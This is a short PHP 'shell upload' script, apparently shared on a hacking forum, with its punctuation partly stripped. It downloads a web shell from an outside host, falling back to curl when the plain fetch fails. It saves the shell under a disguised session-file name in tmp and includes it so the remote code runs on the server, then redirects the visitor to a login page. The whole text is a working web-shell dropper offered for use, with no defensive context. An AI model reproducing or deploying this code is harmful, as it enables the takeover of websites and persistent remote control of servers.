Oto shell uploa script

php
thanx for idx
$URL = 'httpwww.shellyolu.comshell.txt';
$TMP = 'tmpsess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !!
function M() {
$FGT = @file_get_contents($GLOBALS['URL']);
if(!$FGT) {
echo `curl -k $(echo {$GLOBALS['URL']} base64 -d) {$GLOBALS['TMP']}`;
} else {
$HANDLE = fopen($GLOBALS['TMP'], 'w');
fwrite($HANDLE, $FGT);
fclose($HANDLE);
}
echo 'scriptwindow.location=nako=login;script';
}
if(file_exists($TMP)) {
if(filesize($TMP) === 0) {
unlink($TMP);
M();
} else {
include($TMP);
}
} else {
M();
}